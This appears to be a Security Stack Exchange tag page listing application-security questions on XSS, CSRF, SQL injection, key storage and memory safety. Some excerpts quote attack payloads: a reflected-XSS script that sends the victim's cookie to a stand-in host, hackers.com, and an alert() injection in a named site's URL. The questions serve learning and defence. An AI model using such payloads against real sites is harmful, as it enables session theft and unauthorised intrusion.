Application security - Specific to securing an application rather than the connection, infrastructure, browser etc

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4
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2answers
247 views

XSS when <, > and " are escaped

I'm pentesting a website that has a reflected XSS, or at least a vector for a reflection, but the issue is the following : It escapes <, >, " to their URL entities (not &, ) or () You are ...
16
votes
4answers
709 views

Tricky code to make memory-safe

I'm designing a homework challenge for students who are learning about memory safety and writing secure C code. As part of this, I am looking for a small programming task where it's non-trivial to ...
13
votes
3answers
1k views

Is SSL secure enough for a REST API - has anyone used PGP or AES to encrypt the actual data inside SSL?

Perhaps I'm being overly paranoid, but after reading recent news regarding network security I'm starting to believe that SSL isn't quite enough anymore for sensitive data transmissions. Ref: ...
3
votes
3answers
223 views

Can a mismatched server encoding on HTTP POST or GET result in a security issue?

It is possible for a server to parse HTTP POST and GET data with a fixed encoding or one that is dynamic with the client's response. Consider the situation where a client uses UTF7,32 or any other ...
1
vote
1answer
1k views

Sqlmap - appears to be UNION injectable

I am using sqlmap for finding out sql-injection threat on our application. So, here is my url : " http://myurl.net/question/teaching/answer/sujan-justice?as=Course ", and i tried to perform the ...
3
votes
2answers
213 views

How secure is the private storage of a mobile app

Are there any know security flaws/hacks to gain access to the private storage(file system or SQLite database) of Android and iOS applications? What measures do Google and Apple take to "prevent" ...
1
vote
1answer
106 views

Reliability of windows OS security for “program files” safe guard

I want to do inter process communication between Firefox (via extension) and my application. Both reside in "Program files" (of windows 7 OS). I also assume that malware is running in the system and ...
0
votes
1answer
94 views

Verifying one specific attack vector of Cross Site Scripting

Burp suggests that there is a reflection.. It changes a value of a cookie named as x as x=<script src=abc.js> and in response this value gets injected to a javascript function.. <script ...
2
votes
1answer
356 views

Using Selenium tool for xss scripts

Ok, so i need to know can Selenium webdriver tool be used for testing xss vulnerabilities and exploits. If its possible, then pleasee provide me with some example or tutorial. Apologizes, if am wrong ...
2
votes
2answers
241 views

Are there “LAN IPs” on the internet?

I have a home-made web application and thought that an easy way to secure it's administration interface would be to simply reject all IPs that arent from 192.168... Is this viable? is it possible for ...
0
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3answers
391 views

Are there any web application security standards?

Are there any web application security standards that I can use as a baseline for the security related requirements for a web application, web service, and for applications supported/hosted by third ...
-1
votes
1answer
139 views

Cross site scripting in url? [duplicate]

I currently have a xss problem in this site. https://bbcpanningen.cupweb6.nl:1311/servlet/OMSALogin?msgStatus="><script>alert("hello") </script> But I don't understand how an ...
1
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1answer
141 views

Bounds checking using Intel's MPX

Intel has recently added new instructions to their instruction set to support bounds checking. Intel calls them the Memory Protection Extensions (MPX), and they are described in Chapter 9 of this ...
5
votes
2answers
359 views

XSS scripts in console

Well i need to know is it possible to enter xss script through console of developer's tools(e.g. : firebug of firefox)? Is this a proper way ?
-5
votes
1answer
96 views

Strategy for Web Application [closed]

I need to develop an application security strategy for a web application product. Do you have any recommendations as far as procedures and policies are concerned? Any inputs / guidelines or relevant ...
1
vote
4answers
693 views

Can Cross site scripting lead to database access?

I wanna know that weather a site having XSS vulnerability can lead the hacker to access database? I know that he can get the username and password from the cookie stored but can he completely access ...
1
vote
2answers
5k views

sqlmap unable to find SQL injection vulnerablitity

so i just started up with sqlmap to learn sql injection vulnerability on my application. Here I followed steps as per some tutorials. So this are the steps which i followed : sqlmap.py -u ...
0
votes
1answer
93 views

How to track MAC policy violations back to HTTP request?

Suppose there is a web application under public load that runs under a very restrictive MAC (e.g., SELinux, TOMOYO, Grsecurity) policy. Suppose we detect and log a MAC policy violation like a file ...
2
votes
0answers
62 views

Is it safe to remove these groups from the Local Security Policy area?

I'm trying to edit a particular section inside the Local Security Policy snap in and I'm wondering if I really need to give all of these groups (I think they're groups) permissions. Based on this ...
1
vote
1answer
100 views

Setting expectations of a vulnerability assessment?

Is it reasonable to refuse to guarantee that you will find 100% of security issues when doing a vulnerability assessment on a website? Even with companies like Google that have teams of security ...
1
vote
1answer
207 views

PHP gethostbyname security implications

I'm working on a PHP application. There is a requirement to find IP's by hostname and i have to resort to gethostbynamel for that. Looks like there is no other way. I was wondering if there are any ...
1
vote
2answers
3k views

Reflected XSS attack via POST request and XML payload

I know that a reflected XSS can be done with a GET request like: http://site.com?search=<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script> As long the ...
1
vote
4answers
348 views

Comparing Man-in-the-Middle with Man-in-the-Browser

According to OWASP the Man-in-the-Browser (Malware-in-the-Middle) attack uses the same approach as Man-in-the-middle attack, but the differences is that interception is done at the application layer ...
4
votes
2answers
642 views

XSS prevention for RESTful services

A RESTful service is currently protected against XSS attacks by applying XML schema- and entity validation. In both cases this is done via a regular expression like: <xs:pattern ...
4
votes
1answer
739 views

CSRF prevention for RESTful services

Am I right If I claim on that there doesn't exist any reliable protection against CSRF for a stateles environment today? I have a RESTful service (build with RESTEasy) that needs to be secured against ...
1
vote
1answer
134 views

Course project that teaches secure design

I'm looking for a class project that (1) is scalable to large classes, and (2) teaches secure design. This is for an undergraduate course on computer security. Hopefully, it would be educational and ...
1
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2answers
181 views

Queues for Mobile Web Application Security Architecture?

Dear Security Mavens (of which I am not), Your thoughts & suggestions regarding an application architecture for a mobile web application (e.g., HTML5 with Sencha Touch) are invited & ...
3
votes
4answers
571 views

How should a webmaster manage all her passwords and keys?

I have several private keys that I use to ssh into AWS, dreamhost, github, etc. I have passphrases for all of these private keys that are too complex to remember. I have mysql passwords that my ...
1
vote
2answers
539 views

How to store Encryption Key on Shared Hosting?

I am currently designed Simple Online Patient Management System, but according to country Rule, sensitive data should be encrypted when used online, I did the encryption, and all sensitive fields ...
2
votes
2answers
223 views

Do SPA applications have different security considerations than HTML5 sites?

I'm looking into Single Page Applications that are used for both mobile development (PhoneGap) and regular websites. Since the application can load from a offline copy, can run from ...
4
votes
1answer
397 views

HIPAA: How am I required to secure PHI database access creds on my web server?

Assuming I have a database of PHI that my web application needs to access, how am I required to secure the credentials on the webserver that the web application uses to access this database? Is ...
0
votes
3answers
325 views

CSRF possible if params are not passed through query string?

I was reading up on OWASP's page on CSRF and in their example they use a request where the sensitive parameters are stored in the query string: ...
2
votes
2answers
183 views

Dual Authorization (Social Auth 2.0)

Can you see any obvious challenges to requiring 2+ users to confirm authentication requests using an association such as a friendship type of relationship. A practical application would be an ...
1
vote
1answer
259 views

If my website does not take any user input, is there any danger in showing my code and folder structure?

First time posting here; apologies for any mistakes I've made, please edit, retag, migrate as appropriate. I have a simple homepage whose purpose is (essentially) to contain my contact info and some ...
0
votes
1answer
184 views

Are there any risk in serving static assets via compressed SSL protocol from 3rd party domain?

e.g. curl -v -H 'Accept-Encoding: gzip' 'https://cdnjs.cloudflare.com/ajax/libs/Colors.js/1.2.2/colors.min.js' As you can see, result is gzipped. My assumption is since they are serving from 3rd ...
1
vote
2answers
146 views

Signed URL's as a security measure

Would implementing signed URL's be an effective security measure to prevent URL tampering and poisoning on public facing resources accessed via a GET request. e.g. ...
1
vote
3answers
698 views

Implementing 'Remember Me' for a mobile application

I am developing a mobile application wherein I need to implement the 'Remember Me' functionality. There are certain pages within the application which require you to login. What I need to do is, if ...
3
votes
1answer
330 views

How can I check the iframe on my website is secure or not?

My website has an iframe used for loading my client's websites (only 5).How can I make sure the iframe is secure? Also by editing iframe src It allows to load any other websites.How can I prevent it?
-2
votes
1answer
449 views

ESAPI: Input and output validation [closed]

I am new to IT Security and I have been tasked with coming up with input and output validation for ESAPI. So for input validation, so far I got: Data Type Name Email ...
0
votes
1answer
456 views

Comprehensive & current book on native application exploit research & development [closed]

Is there a 'must read', comprenhensive book on native application exploit development? Covering the process of finding vulnerabilities (fuzzing, reverse engineering, code analysis, etc...) & ...
1
vote
1answer
332 views

Using Apple NSKeyedArchiver class without encryption to save score data locally

first of all I'm sorry for my bad English! I have a question about the security of NSKeyedArchiver, a subclass of NSCoder of Apple Foundation.framework ...
2
votes
3answers
1k views

Uploading files through an HTTPS web application

We have a client facing web site. A certificate is required to land on the login page, where upon you then need a username and a password to further login. System has Apache servers acting as load ...
2
votes
2answers
139 views

What fraction of software bugs are vulnerabilities?

What fraction of software bugs are security vulnerabilities? Obviously, software bugs can be security vulnerabilities -- but also obviously, many software bugs have little or no security impact. Is ...
0
votes
2answers
216 views

Are there any HTTP servers that can detect two cookies with the same name, but issued from different subdomains?

As a follow up to the Related Domain Cookie Attack question, I'd like to see if there are any servers that are able to detect instances where multiple cookies are sent from multiple domains. In other ...
2
votes
1answer
88 views

Stack smashing protection, reordering variables

So few days ago I started reading a paper about bypassing SSP/ProPolice and after I read it all I tried the bypasses but they didn't work. This is the code I used: int f (char ** argv){ ...
3
votes
1answer
216 views

Secure information exchange between web applications using browser redirection

We're implementing a web application (US) that needs to exchange sensitive information with a third-party web application (THEM). The way we'd like it to work is that an end user clicks a hyperlink, ...
6
votes
2answers
137 views

Should I put a potentially insecure program online?

OK: a forward. I am not a security expert. I am one of four kids at a high school working on a project. I don't have any experience with real-life situations where security is a concern. I have a ...
4
votes
2answers
139 views

Is it worth following OWASP AppSensor for an open source web application?

I'm thinking of following OWASP's AppSensor project to build application-level intrusion detection into an existing open source web application. I think there is some value in using AppSensor to ...
4
votes
2answers
520 views

Executing arbitrary commands through iptables-restore input

During a pentest I found a way to add arbitrary iptables firewall rules to a server. These rules get applied by way of the iptables-restore command, and I've been wondering whether there is any way to ...
4
votes
3answers
544 views

Is writing shellcode still a valid skill to have/learn?

Following up from this question: Should I bother teaching buffer overflows any more? I am a it sec researcher and also security course instructor. Recently questions have been raised about the ...